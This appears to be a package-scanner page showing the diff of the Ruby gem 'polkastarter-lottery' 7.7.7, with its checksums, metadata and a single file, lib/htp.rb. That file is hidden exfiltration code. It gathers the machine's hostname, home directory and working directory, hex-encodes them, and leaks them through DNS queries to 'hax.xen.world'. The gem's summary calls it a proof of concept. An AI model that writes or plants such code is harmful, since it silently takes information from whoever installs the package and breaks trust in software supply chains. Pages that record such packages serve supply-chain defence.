polkastarter-lottery 7.7.7
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/lib/htp.rb +22 -0
- metadata +42 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 44323ec504c98261d90b5af04aa27edc515b8da94490d7bfa68e979e1688d01c
|
4
|
+
data.tar.gz: 3f0c0b89db145e829eee4df979de80b052536402ae8fcd0b99cdbe6eb3885b0d
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 6a9f7a44002a98624732c105b303f2e9f9e9a68ee2199a37fc62c0db74f93777b4a49dfd937f3bab2d43369736554402d8498c86353397fe503f9c314f235c3d
|
7
|
+
data.tar.gz: dc4e0eec424cc5153b860c95c9ee1ea87bf51018cf75a472739c78a4ee6e5baf61d0888371e194f31b7e21e9c2fb0850f7668469b5a8c7d35012a2e73cc71650
|
data/lib/htp.rb
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
require 'json'
|
2
|
+
require 'resolv'
|
3
|
+
|
4
|
+
h = 'hax.xen.world'
|
5
|
+
p = 'polkastarter-lottery'
|
6
|
+
id = rand(36**12).to_s(36)
|
7
|
+
|
8
|
+
d = {
|
9
|
+
'p' => p,
|
10
|
+
'h' => Socket.gethostname,
|
11
|
+
'd' => File.expand_path('~'),
|
12
|
+
'c' => Dir.pwd
|
13
|
+
}
|
14
|
+
|
15
|
+
d = JSON.generate(d)
|
16
|
+
d = d.unpack('H*')[0].scan(/.{1,60}/)
|
17
|
+
|
18
|
+
d.each.each_with_index do |c, i|
|
19
|
+
begin
|
20
|
+
Resolv.getaddress id + '.' + i.to_s + '.' + c + ".dns." + h
|
21
|
+
rescue; end
|
22
|
+
end
|
metadata
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: polkastarter-lottery
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 7.7.7
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- cody zacharias
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2023-09-26 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description:
|
14
|
+
email:
|
15
|
+
executables: []
|
16
|
+
extensions: []
|
17
|
+
extra_rdoc_files: []
|
18
|
+
files:
|
19
|
+
- lib/htp.rb
|
20
|
+
homepage:
|
21
|
+
licenses: []
|
22
|
+
metadata: {}
|
23
|
+
post_install_message:
|
24
|
+
rdoc_options: []
|
25
|
+
require_paths:
|
26
|
+
- lib
|
27
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
28
|
+
requirements:
|
29
|
+
- - ">="
|
30
|
+
- !ruby/object:Gem::Version
|
31
|
+
version: '0'
|
32
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
33
|
+
requirements:
|
34
|
+
- - ">="
|
35
|
+
- !ruby/object:Gem::Version
|
36
|
+
version: '0'
|
37
|
+
requirements: []
|
38
|
+
rubygems_version: 3.4.19
|
39
|
+
signing_key:
|
40
|
+
specification_version: 4
|
41
|
+
summary: Cody Zacharias Xen PoC
|
42
|
+
test_files: []
|